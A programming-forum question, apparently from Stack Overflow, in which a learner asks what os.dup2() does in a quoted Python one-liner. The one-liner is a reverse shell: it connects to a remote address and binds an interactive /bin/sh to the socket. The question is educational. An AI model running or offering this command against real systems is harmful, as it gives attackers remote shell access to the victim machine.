title: what is os.dup2() method for and what is its use
body: <p>I am learning python and hacking stuff, when I came across the following code snippet:</p>
  <p><code>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.20.14&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);'</code></p>
  <p>It's shell code to get a reverse shell. I do understand python code but I am not able to figure out what that <code>os.dup2()</code> is for and what is it doing there, and on the last line it's written <code>p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])</code>, How the <code>p</code> variable is being executed</p>
  <p>If possible answer in detail along with resourses from which I can do further more research.</p>